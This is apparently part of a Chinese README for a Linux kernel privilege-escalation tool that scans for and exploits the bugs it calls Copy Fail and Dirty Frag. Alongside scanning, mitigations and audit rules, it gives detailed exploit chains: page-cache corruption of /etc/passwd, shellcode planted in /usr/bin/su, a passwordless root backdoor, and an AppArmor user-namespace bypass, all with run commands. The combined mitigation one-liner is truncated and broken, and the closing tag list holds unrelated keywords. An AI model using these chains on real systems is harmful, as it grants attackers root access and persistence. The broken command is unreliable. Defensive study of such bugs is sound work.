用于 SIEM/集群大规模导入的 JSON 输出:
```
$ ./dirtyfail --scan --active --json
{
"tool": "dirtyfail",
"version": "0.1.0",
"hostname": "server-01",
"kernel": "6.19.10-300.fc44.x86_64",
"machine": "x86_64",
"active_probes": true,
"results": [
{"cve": "CVE-2026-31431", "name": "copyfail", "status": "vulnerable"},
{"cve": "CVE-2026-43284", "name": "dirtyfrag-esp", "status": "vulnerable"},
{"cve": "CVE-2026-43284-v6", "name": "dirtyfrag-esp6", "status": "vulnerable"},
{"cve": "CVE-2026-43500", "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
{"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm", "status": "vulnerable"}
],
"summary": "vulnerable"
}
```
状态值:`vulnerable`、`not_vulnerable`、`preconds_missing`、`test_error`。该总结反映了所有结果中最严重的情况。
### 漏洞利用示例(需要键入确认)
```
./dirtyfail --exploit-copyfail # UID-flip + drop into root via su
./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry
./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)
```
每个漏洞利用程序在进行任何页缓存修改之前,都会提示输入 `DIRTYFAIL` +(在适用情况下)`YES_BREAK_SSH`。
### 状态检查 + 清理
```
./dirtyfail --list-state # what's currently planted? (side-effect free)
./dirtyfail --cleanup # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su # restore /usr/bin/su from .dirtyfail-su.state
```
或者直接回退给内核处理:
```
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
```
## 7. DIRTYFAIL 如何检测每个 CVE
### Copy Fail(主动哨兵探测)
检测实际上会针对 `/tmp` 中的一个哨兵文件触发原语:
1. 探测 `socket(AF_ALG, SOCK_SEQPACKET, 0)` 并 `bind` 到 `authencesn(hmac(sha256), cbc(aes))`。
2. 在 `/tmp` 中创建一个 4 KiB 的哨兵文件,并将其第一页调入缓存。
3. 对其运行完整的漏洞利用原语:`sendmsg` 带有 `seqno_lo = "PWND"` 的 AAD,将哨兵的 32 个字节拼接到 AF_ALG 操作套接字中,驱动 `recv` 触发暂存写入。
4. 重新读取哨兵并在第一页中寻找 `PWND`。
找到标记 ⇒ 存在漏洞。标记缺失但页面内容不同 ⇒ 原语部分触发(仍然存在漏洞)。页面完全相同 ⇒ 在此内核上不存在漏洞。
### Dirty Frag xfrm-ESP(基于前提条件 — 或在带 `--active` 时为主动探测)
默认的 `--scan` 仅检查前提条件——我们不会在检测模式下进入 user namespace(这会在该命名空间内对网络产生副作用)。我们检查:
* 内核版本处于受影响的窗口内
* `esp4` / `esp6` 当前已加载或可自动加载
* 非特权 user namespace 创建成功(通过 fork → 子进程 `unshare(CLONE_NEWUSER)` 进行探测)
* AppArmor `apparmor_userns_caps_blocked()` 返回 false
全部四个条件均满足 ⇒ VULNERABLE(前提条件满足)。
`--scan --active` 通过哨兵 STORE 探测扩展了此功能:我们 fork 出一个子进程,该子进程武装 AA bypass,进入一个新的 user/net namespace,注册一个 XFRM SA,并针对 `/tmp/dirtyfail-esp-probe.XXXXXX` 哨兵文件触发 ESP-in-UDP 触发器。父进程重新读取哨兵并寻找标记字节:
* 标记落地 → 内核 STORE 可触达 → **VULNERABLE(存在漏洞)**
* 页面完好 → 内核补丁已生效 → **NOT VULNERABLE(不存在漏洞)**
* AA bypass 被拒绝 → **PRECOND_FAIL**(LSM 已缓解)
这是区分打了反向移植补丁的内核和未打补丁内核的唯一方法,无需针对 `/etc/passwd` 运行完整的 UID 翻转漏洞利用程序。在 `--active` 下,ESP v6、RxRPC 和 GCM 也使用相同的模式。
### Dirty Frag RxRPC(基于前提条件 — 或在带 `--active` 时为主动探测)
前提条件:
* `/proc/modules` 中有 `rxrpc` 或可自动加载
* `socket(AF_RXRPC, SOCK_DGRAM, 0)` 成功
主动探测 (`--active`):通过 AA bypass 进行 fork,注册一个带有任意 8 字节值的 rxrpc 会话密钥,针对 `/tmp` 哨兵发送一个 CHALLENGE + DATA 伪造包,并在拼接的 8 字节窗口内寻找任何字节变化。我们不试图预测落地的内容——任何修改都可以确认内核 STORE 已触发。
### Copy Fail GCM 变体 + ESP v6 — 结构相同
GCM 变体的主动探测会安装一个带有任意 IV 的传输模式 SA,并对 `/tmp` 哨兵触发 `gcm_trigger`;sentinel[0] 处的任何字节更改都确认了可达性。ESP v6 探测还会根据每个内核构建自动校准 `V6_STORE_SHIFT`(参见 `src/dirtyfrag_esp6.c` 中的 `calibrate_v6_shift`)——不同发行版的 `esp6_input` 构建会将 STORE 放在拼接区域内稍微不同的偏移量处,校准探测会在真正的漏洞利用触发之前发现确切的偏移量。
## 8. DIRTYFAIL 如何利用每个 CVE
### Copy Fail 漏洞利用 (`copyfail.c`)
通过 `algif_aead` 的单次 4 字节 STORE:
```
[/etc/passwd page cache]
user ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
──recv()─────────────────────▶ kernel runs authencesn_decrypt
scratch write: "0000" → uid_off
EBADMSG returned to user (we ignore)
user ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..." ◄─ page cache
user ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
─────► root shell
```
### Dirty Frag xfrm-ESP 漏洞利用 (`dirty_esp.c`)
与 Copy Fail 的最终状态相同,通过 `xfrm_input` 而不是 `algif_aead` 达成:
```
[/etc/passwd page cache]
unshare(USER|NET); setup uid_map; ifup lo
NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel
udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP
udp_send connect 127.0.0.1:4500
vmsplice ESP wire header (24B) ─▶ pipe
splice /etc/passwd@uid_off (16B) ─▶ pipe
splice pipe (40B) ─▶ udp_send
udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input
skb has frags, no frag_list ─▶ goto skip_cow (THE BUG)
crypto_authenc_esn_decrypt:
scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE
AEAD auth fails (EBADMSG) — but the STORE is permanent
page-cache copy of /etc/passwd now reports uid 0 for the user
```
然后退出该命名空间,从父进程执行 `execlp("su", user)`——与 Copy Fail 相同的最后一步。
### Dirty Frag RxRPC 漏洞利用 (`dirtyfrag_rxrpc.c` + `fcrypt.c`)
```
[/etc/passwd page cache]
user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
produces predicate-satisfying plaintexts for offsets 4, 6, 8
(chained-ciphertext correction across passes)
fork → child enters new userns:
unshare(USER|NET); setup uid_map; ifup lo
socket(AF_RXRPC) — autoload rxrpc.ko
for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
add_key("rxrpc", "df-evil", v1_token{session_key=K})
udp_srv = bind 127.0.0.1:port_S
rxsk = AF_RXRPC + SECURITY_KEY=df-evil + bind :port_C
rxsk → sendmsg(PINGPING) triggers handshake init
udp_srv ← receives kernel's first DATA-0
extract (epoch, cid, callNumber)
udp_srv → forged CHALLENGE → rxsk auto-RESPONSE
primes conn->rxkad.cipher with K
csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
vmsplice DATA hdr (28B) → pipe
splice /etc/passwd@off (8B) → pipe
splice pipe (36B) → udp_srv
udp loopback → rxsk
recvmsg → rxrpc_input → rxkad_verify_packet
skb has frags, no frag_list → goto skip_unshare (THE BUG)
skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
crypto_skcipher_decrypt: pcbc(fcrypt)
page[off..off+8] = fcrypt_decrypt(C_actual, K) ◄─ 8-byte STORE
child exits, parent verifies /etc/passwd[4..5] == "::"
parent: execlp("su", "-")
PAM common-auth: pam_unix.so nullok → root has empty password
su → setresuid(0,0,0) → exec /bin/bash
─────► root shell
```
### `--exploit-su` shellcode 注入 (`exploit_su.c`)
仿照 V4bel 的参考漏洞利用,建立了第二条免 `/etc/passwd` 修改的攻击链。我们不修改 `/etc/passwd` 的页缓存,而是将特定于架构的 shellcode 植入到 `/usr/bin/su` 的 ELF 入口点所在的页缓存中;下次任何人 exec `/usr/bin/su` 时,内核会根据磁盘上的 setuid 位设置 euid=0,动态链接器进行解析,然后控制权转移到我们的 shellcode → 以真正的 init-ns root 身份执行 `/bin/sh`。不依赖 PAM,完全绕过了移除 `pam_unix nullok` 的防护。
```
parent (init ns)
│ stat /usr/bin/su; verify setuid+root
│ parse ELF header; resolve e_entry → file offset
│ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state
│ for each 4-byte chunk of shellcode:
│ cf_4byte_write("/usr/bin/su", file_offset+i, chunk)
│ pread() back; verify match
│ if --no-shell:
│ plant_shellcode(original) # revert via re-write
│ fadvise(DONTNEED) on a new fd # evict if possible
│ else:
│ execl("/usr/bin/su", "su", NULL) ─►
│ kernel exec /usr/bin/su (setuid root)
│ ld-linux.so resolves
│ jumps to e_entry → our shellcode
│ setuid(0); setgid(0);
│ execve("/bin/sh", argv, NULL)
▼ ────► root shell
```
架构矩阵:
* **x86_64(56 字节,14 次链式 4 字节写入)** — 已在 Fedora 44 上进行端到端测试 (`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`)。Shellcode 位于 `shellcode_x86_64[]` 中。
* **aarch64(80 字节,20 条指令)** — 根据 ARMv8-A 参考手册手工编码,**从未在硬件上执行过**。受 `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` 门控控制。源代码随附在 `tools/exploit_su_aarch64.S` 中,供社区验证——使用 `aarch64-linux-gnu-as` 进行汇编,并确认字节序列与 `shellcode_aarch64[]` 匹配。
* 其他架构 → preconds_fail。
状态文件 `/var/tmp/.dirtyfail-su.state` 隐藏了原始入口点的字节,以便 `--cleanup-su` 能够恢复。`--list-state` 会检查此文件(以及后门的文件)而不触碰任何内容。
如果验证步骤发现页缓存与植入的 shellcode 不匹配(内核已修补,AF_ALG 被加入黑名单等),自动恢复功能会立即触发并删除状态文件——操作员之后无需再运行 cleanup-su。
## 8.5 架构:外部/内部基于 fork 的绕过
所有五种漏洞利用模式都共享一个通用架构,用于处理 Ubuntu 的 `apparmor_restrict_unprivileged_userns=1` 策略,而不会使利用后的 `su` 陷入无法触及真正 init-ns root 的 userns 中。
### 问题所在
一种朴素的绕过方法会通过 `unshare(CLONE_NEWUSER)` 将*整个* `dirtyfail` 进程放入一个新的 user namespace 中。这足以注册 XFRM SA 并触发 splice 触发器——但这同时也意味着最终的 `execlp("su", user)` 会在 userns 内部运行,在那里 uid 0 通过 `uid_map "0 1000 1"` 映射到了操作员在外部命名空间的 uid (1000)。PAM 的 `setresuid(0)` 会落至映射为 1000 的 userns-uid-0,这**不是**真正的 init-ns root——`cat /etc/shadow` 会返回 EACCES,shell 实际上无法执行特权操作。
### 修复:外部/内部分离
```
parent (dirtyfail, init ns) child (bypass userns)
───────────────────────── ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
execv self ─► STAGE-1
execv self ─► STAGE-2
unshare(USER|NET)
uid_map / capset
ifup lo
main() detects INNER_MODE
dispatch _inner()
register XFRM SA
splice trigger → page cache STORE
_exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
execlp("su", user) ← runs IN INIT NS
PAM auth → setresuid(0)
→ REAL init-ns root shell
else:
try_revert_passwd_page_cache
```
父进程**永远不会进入 user namespace**。子进程执行绕过 + 内核工作,修改全局页缓存(它跨命名空间共享——这是我们唯一需要的“桥梁”),然后退出。父进程执行的 `su` 随后将是一个正常的 init-命名空间 setresuid 调用。
### 通过环境变量进行父进程 → 子进程的交接
`execv` 保留了环境变量,因此父进程在 fork 之前会将操作参数隐藏在环境变量中。每个模式都定义了各自的变量:
| 模式 | 环境变量 |
|---|---|
| `esp` / `esp6` / `gcm` | `DIRTYFAIL_INNER_MODE`、`DIRTYFAIL_TARGET_USER` |
| `rxrpc` | `DIRTYFAIL_INNER_MODE=rxrpc`、`DIRTYFAIL_K_{A,B,C}` (hex) — fcrypt 暴力破解发生在父进程中(不需要 caps);密钥被传递给子进程以供实际触发 |
| `backdoor-install` / `backdoor-cleanup` | `DIRTYFAIL_INNER_MODE`、`DIRTYFAIL_LINE_OFF`、`VICTIM_LINE`、`TARGET_LINE` |
在绕过的第二阶段完成后,`main()` 会检查 `DIRTYFAIL_INNER_MODE` 并分发给 `_exploit_inner()`。内部程序*只*执行内核工作(没有提示,没有 fork,没有 `su`)并附带结果代码退出。父进程通过 `waitpid` 回收它并继续进行验证。
### 为什么使用单跳绕过
较早的两步操作(`change_onexec("crun")` → `change_onexec("chrome")`)在我们的执行链中会导致 Ubuntu 24.04 上间歇性地出现 `ENOSPC` 故障(可能是由于每个配置文件的 userns 记账问题引起的)。单跳进入 `crun` 就足够了——`crun` 的 AppArmor 配置文件具有 `flags=(unconfined)` 和显式的 `userns,` 权限,因此 unshare 会成功并保持成功状态。
### 为什么没有无限重新执行循环
在第二阶段成功完成后,会设置一个进程局部的 `g_bypass_done` 标志。如果在同一个进程中再次调用 `apparmor_bypass_needed()`,它将短路返回 `false`,从而防止漏洞利用后的代码重新武装并嵌套另一层 userns(之前这会因为触及每个 userns 的嵌套上限而报 `ENOSPC` 错误)。
### `--aa-bypass` 现在是一个仅限调试的标志
在旧的架构中,`--aa-bypass` 会在漏洞利用分发之前武装一个全进程的绕过。在新架构中,漏洞利用模式在内部执行它们*自己的*基于 fork 的绕过;该标志在日常使用中已不再需要。保留它只是为了单独调试绕过机制(例如,在绕过的 userns 内运行 `--scan`),同时带有可能会破坏漏洞利用后 `su` 的警告。
## 9. 缓解措施
### 复制失败 (CVE-2026-31431)
1. **应用补丁。** 主线 `a664bf3d`;反向移植补丁已登陆 6.12 / 6.17 / 6.18 稳定版分支。
2. **临时方案**:将 `algif_aead` 列入黑名单:
echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf
sudo rmmod algif_aead 2>/dev/null
⚠ 注意:这**并不能**缓解 Dirty Frag。xfrm-ESP 路径在不经过 algif_aead 的情况下即可触达相同的 authencesn 原语。
### Dirty Frag xfrm-ESP (CVE-2026-43284)
1. **应用补丁。** 主线 `f4c50a4034e6`(合并于 2026-05-07)。各发行版的反向移植补丁将于 2026-05-08 左右推出。
2. **临时方案**:将 `esp4` 和 `esp6` 列入黑名单:
sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF'
install esp4 /bin/false
install esp6 /bin/false
EOF
sudo rmmod esp4 esp6 2>/dev/null
sudo sysctl vm.drop_caches=3
⚠ 这会破坏 IPsec / strongSwan / libreswan VPN。
3. **深度防御**:禁止非特权用户命名空间。Ubuntu 默认通过 AppArmor 做到了这一点;在其他发行版上:
sudo sysctl -w kernel.unprivileged_userns_clone=0
### Dirty Frag RxRPC (CVE-2026-43500)
1. **尚无上游补丁。** 研究者的补丁在 lkml 上;截至撰写本文时(2026-05-08)尚未合并。
2. **临时方案**:将 `rxrpc` 列入黑名单:
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3
⚠ 这会破坏 AFS 分布式文件系统客户端。大多数服务器不需要 rxrpc。
### 组合单行命令(三个全部)
```
sudo sh -c '
cat > /etc/modprobe.d/dirtyfail.conf </dev/null
sysctl vm.drop_caches=3
'
```
### 或者使用 `dirtyfail --mitigate`
相同的一组缓解措施被封装在一个需要键入确认的防御模式中:
```
sudo ./dirtyfail --mitigate
```
这会写入 `/etc/modprobe.d/dirtyfail-mitigations.conf` 和 `/etc/sysctl.d/99-dirtyfail-mitigations.conf`,卸载这四个模块,并执行 `drop_caches`。可通过 `sudo ./dirtyfail --cleanup-mitigate` 还原。副作用:会破坏 IPsec、AFS 客户端以及任何使用 `AF_ALG` AEAD 的用户空间应用。有关完整的系统管理员手册,请参见 `docs/DEFENDERS.md`。
### 检测 / 监控
对于独立于补丁的持续检测:
* **扫描主机:** `dirtyfail --scan --active`(完整的哨兵 STORE 探测)或 `dirtyfail --scan --active --json`,以便导入 SIEM/集群。`tools/dirtyfail-check.sh` bash 变体具有零构建依赖。
* **审计规则:** `tools/99-dirtyfail.rules` 是一个涵盖了漏洞利用链使用的五个系统调用路径(XFRM netlink 注册、`add_key("rxrpc")`、`unshare(CLONE_NEWUSER)`、`AF_ALG` 套接字创建、`/etc/passwd`/`/etc/shadow` 写入)的即插即用型 auditd 规则集。安装方式如下:
sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/
sudo augenrules --load && sudo systemctl restart auditd
* **容器影响范围演示:**
`tools/dirtyfail-container-escape.sh` 展示了内核页缓存跨命名空间共享的特性——这有助于向运维人员解释跨租户的影响。
## 10. 伦理与披露
DIRTYFAIL 是一款研究工具。它所涵盖的漏洞**已经被公开披露**,并且野外存在着已武器化的 PoC(参见 [致谢](#11-credits))——DIRTYFAIL 增加了检测覆盖范围、统一的文档以及一个更温和的 PoC 变体(UID 翻转,而不是对 `/usr/bin/su` 的 ELF 覆盖)。
* **请勿在你不拥有或未获得明确授权测试的系统上运行 `--exploit-*` 模式。** 页缓存修改可以通过 `drop_caches` 恢复,但在其持续存在期间,它仍然是权限提升。
* **请勿在未获得书面授权的情况下将 DIRTYFAIL 作为“扫描器”部署在第三方基础设施上。** 检测模式对系统文件是非修改性的,但确实会在 `/tmp` 中打开一个哨兵文件并会行使内核加密 API。
* 如果你在野外发现了一个易受攻击的系统,请遵循负责任的披露原则向运维人员报告,而不是向公众。
## 附加:关于 GCM 变体 + 后门 + AppArmor 绕过的说明
这三个功能使用了最初由 **0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo** 发布的技术对 DIRTYFAIL 进行了扩展。以 DIRTYFAIL 的风格重新实现;原始荣誉见于 `NOTICE.md`。
### Copy Fail GCM 变体
与 CVE-2026-43284 相同的 xfrm-ESP 无 COW 路径,但使用 `rfc4106(gcm(aes))` 代替 `authencesn(...)`。它值得与 authencesn 变体一起发布的两个原因:
1. **覆盖范围。** 将 `algif_aead` 列入黑名单以缓解 Copy Fail (CVE-2026-31431) 的防御者在此处仍然容易受到攻击——GCM 路径不经过 algif_aead。
2. **粒度。** 处于计数器模式的 AES-GCM 将密钥流异或到拼接的字节上。通过暴力破解 IV(每个字节约 256 次尝试),我们可以在任意文件偏移处植入任意的单字节——没有 4 字节对齐限制,没有 4 字节的副作用。
1 字节原语 (`cfg_1byte_write`) 正是使持久化后门模式变得可行的关键。
### 持久化后门
`--exploit-backdoor` 会挑选出 `/etc/passwd` shell 位于 `{nologin, false, sync}` 之中的最长的一行,并逐字节地用 `dirtyfail::0:0::/:/bin/bash`(长度匹配)覆盖它。安装后,任何用户执行的 `su - dirtyfail` 都会放出一个 root shell——没有密码提示——因为 `pam_unix.so nullok` 接受空密码字段。
用户名 `dirtyfail` 是故意贴上本项目品牌标签的,以便在随后的任何审计中*很容易被检测到*——运行 `grep dirtyfail /etc/passwd` 的防御者(或执行相同操作的任何 HIDS)都会立即发现这一行。如果你在特定的红蓝对抗中需要不同的标识符,请在 `src/backdoor.c` 中更改 `NEW_USER` 和 `DF_PREFIX`。
磁盘上的文件未作更改;替换仅存在于页缓存中。`--cleanup-backdoor` 通过相同的原语恢复原始行。
### AppArmor 绕过
Ubuntu 24.04+ 附带 `apparmor_restrict_unprivileged_userns=1`。应用于非特权二进制文件的默认配置文件允许 `unshare(USER)` 成功,但会在新命名空间中**剥夺 CAP_NET_ADMIN**。随后 XFRM SA 注册会静默失败。
绕过方法:将 `"exec crun"` 写入 `/proc/self/attr/exec` 并使用 `execv` 切换到 AppArmor 的 `crun` 配置文件中,该配置文件具有 `flags=(unconfined)` 和显式的 `userns,` 权限。执行 exec 后,`unshare(CLONE_NEWUSER | CLONE_NEWNET)` 就可以在新命名空间内拥有完整权限地成功执行。
DIRTYFAIL 通过 fork 针对每个漏洞利用模式处理此问题:父进程留在 init 命名空间中,子进程执行绕过 + 内核工作,父进程读取全局页缓存并运行 `su` 以获取真正的 init-ns root。有关完整链路,请参见 [§8.5 架构](#85-architecture-outerinner-fork-based-bypass)
传统的 `--aa-bypass` 标志(为整个进程武装绕过)仅保留用于调试。
原始技术来自 0xdeadbeefnetwork 的 `aa-rootns.c`(归功于 Brad Spengler / grsecurity)。DIRTYFAIL 的实现:
- 通过 `kernel.apparmor_restrict_unprivileged_userns` sysctl 检测限制,而不是通过读取 `/proc/self/attr/current`(在 Ubuntu 24.04 上,即使策略正在限制,它仍然显示 "unconfined")。
- 使用单跳进入 `crun`,而不是 `crun → chrome` 的两步操作——第二步跳转会导致 Ubuntu 24.04 上间歇性地出现 `ENOSPC`。
- 在第二阶段之后设置一个进程局部的 `g_bypass_done` 标志,以便随后的重检能够短路返回(防止出现之前耗尽每个 userns 嵌套上限的无限重新执行循环)。
## 11. 致谢
DIRTYFAIL 是原创代码,但其实现的技术是由以下研究人员开发的。在部署此工具之前,请阅读他们的主要资料——它们是权威的参考。
| 来源 | 研究者 | 贡献 |
|--------|------------|--------------|
| | 匿名 | 原始 Copy Fail 披露 |
| | Smarttfoxx | C PoC(`su` 内植入 shellcode 变体) |
| | rootsecdev | Python 检测器 + UID 翻转 PoC;DIRTYFAIL 的 `--exploit-copyfail` 模式的人体工程学遵循了此方法。 |
| | Hyunwoo Kim ([@v4bel](https://x.com/v4bel)) | Dirty Frag 发现、完整利用链 PoC、内核补丁 |
| | 0xdeadbeefnetwork | GCM 变体漏洞利用、IPv6 PoC、AppArmor userns 绕过技术 |
| | BleepingComputer | 公开报道 |
补丁作者:
* `f4c50a4034e6` (Dirty Frag xfrm-ESP) — 基于 Hyunwoo Kim 的 v1 补丁,带有 Kuan-Ting Chen 合并的共享 frag 方法。
* RxRPC 补丁 — Hyunwoo Kim,等待合并。
## 许可证
MIT。参见 [LICENSE](LICENSE)。
## 联系方式
请在本仓库中开启一个 Issue,或通过提交历史中列出的地址联系我们。对于相关问题的协同披露,请直接联系上述上游研究人员。
标签:0day挖掘, ALGIF_AEAD, Copy Fail, CVE-2026-31431, CVE-2026-43284, CVE-2026-43500, Dirty Frag, ESP, LSM, Maven, meg, PoC, Root权限, RxRPC, Web报告查看器, XFRM, 信息安全, 内核安全, 内核漏洞, 安全扫描, 安全渗透, 客户端加密, 开源安全工具, 提权漏洞, 攻击面检测, 时序注入, 暴力破解, 本地提权, 漏洞验证, 网络安全, 逆向工程平台, 隐私保护, 页缓存